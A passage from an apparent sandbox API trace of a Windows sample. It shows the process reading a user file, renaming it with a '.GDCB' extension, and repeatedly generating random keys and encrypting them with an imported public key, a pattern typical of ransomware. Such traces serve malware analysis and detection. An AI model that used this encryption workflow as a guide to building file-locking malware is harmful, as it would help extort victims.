Data\\Application Data\\Microsoft\\Visio\\content16.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content16.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0174.195] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x3c40000 [0174.195] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3c50000 [0174.196] ReadFile (in: hFile=0x514, lpBuffer=0x3c50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x3c50000*, lpNumberOfBytesRead=0x285d3e8*=0x4fee0, lpOverlapped=0x0) returned 1 [0174.229] VirtualAlloc (lpAddress=0x0, dwSize=0x4fee0, flAllocationType=0x3000, flProtect=0x4) returned 0x3d60000 [0174.239] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content16.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content16.dat.gdcb")) returned 1 [0174.248] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.250] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.250] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.250] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.250] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0174.252] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.252] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.252] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.252] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0174.258] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db7d0) returned 1 [0174.258] CryptGetKeyParam (in: hKey=0x35db7d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.258] CryptEncrypt (in: hKey=0x35db7d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3c20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.258] GetLastError () returned 0x0 [0174.258] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.258] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0174.264] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db790) returned 1 [0174.264] CryptGetKeyParam (in: hKey=0x35db790, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.264] CryptEncrypt (in: hKey=0x35db790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3c30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.265] GetLastError () returned 0x0 [0174.265] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.265] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\structuredqueryschema.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.268] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0174.270] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.271] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.271] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.271] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.271] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.273] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.273] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.273] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.273] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.280] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db950) returned 1 [0174.280] CryptGetKeyParam (in: hKey=0x35db950, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.280] CryptEncrypt (in: hKey=0x35db950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3c40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.280] GetLastError () returned 0x0 [0174.280] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.280] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.285] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dba10) returned 1 [0174.285] CryptGetKeyParam (in: hKey=0x35dba10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.285] CryptEncrypt (in: hKey=0x35dba10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3c50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.286] GetLastError () returned 0x0 [0174.286] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.286] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\cversions.1.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.286] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.288] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.288] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.288] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.288] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.288] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0174.290] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.290] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.290] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.290] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.291] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.296] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db510) returned 1 [0174.296] CryptGetKeyParam (in: hKey=0x35db510, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.296] CryptEncrypt (in: hKey=0x35db510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3c60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.297] GetLastError () returned 0x0 [0174.297] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.297] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.302] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db850) returned 1 [0174.302] CryptGetKeyParam (in: hKey=0x35db850, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.302] CryptEncrypt (in: hKey=0x35db850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3c70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.302] GetLastError () returned 0x0 [0174.302] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.302] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\cversions.3.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\cversions.3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.303] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.305] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.305] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.305] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.307] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.307] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.307] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.307] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.307] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.313] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db810) returned 1 [0174.313] CryptGetKeyParam (in: hKey=0x35db810, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.313] CryptEncrypt (in: hKey=0x35db810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3c80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.313] GetLastError () returned 0x0 [0174.313] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.313] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.318] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db590) returned 1 [0174.318] CryptGetKeyParam (in: hKey=0x35db590, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.318] CryptEncrypt (in: hKey=0x35db590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3c90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.319] GetLastError () returned 0x0 [0174.319] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.319] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{2546D910-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{2546d910-b905-4d30-88c9-b63c603da134}.3.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.319] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.321] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.321] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.321] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.321] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.321] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0174.323] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.323] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.323] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.323] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.323] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0174.331] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db5d0) returned 1 [0174.331] CryptGetKeyParam (in: hKey=0x35db5d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.331] CryptEncrypt (in: hKey=0x35db5d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ca0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3ca0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.331] GetLastError () returned 0x0 [0174.331] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.331] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0174.337] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dba50) returned 1 [0174.337] CryptGetKeyParam (in: hKey=0x35dba50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.337] CryptEncrypt (in: hKey=0x35dba50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3cb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3cb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.337] GetLastError () returned 0x0 [0174.337] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.337] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000033.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000033.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.337] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.339] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.339] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.339] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.339] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.341] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.342] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.342] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.342] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.347] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db610) returned 1 [0174.348] CryptGetKeyParam (in: hKey=0x35db610, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.348] CryptEncrypt (in: hKey=0x35db610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3cc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3cc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.348] GetLastError () returned 0x0 [0174.348] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.348] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.353] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35db6d0) returned 1 [0174.353] CryptGetKeyParam (in: hKey=0x35db6d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.353] CryptEncrypt (in: hKey=0x35db6d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3cd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3cd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0174.353] GetLastError () returned 0x0 [0174.353] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.353] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000034.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000034.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.353] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0174.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.356] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.356] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0174.356] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.356] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0174.358] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.358] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.358] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0174.358] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.358] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0174.363] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35daf50) returned 1 [0174.363] CryptGetKeyParam (in: hKey=0x35daf50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0174.363] CryptEncrypt (in: hKey=0x35daf50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ce0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3ce0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0174.363] GetLastError () returned 0x0 [0174.363] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.363] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0174.368] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x35dae90) returned 1 [0174.368] CryptGetKeyParam (in: hKey=0x35dae90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, 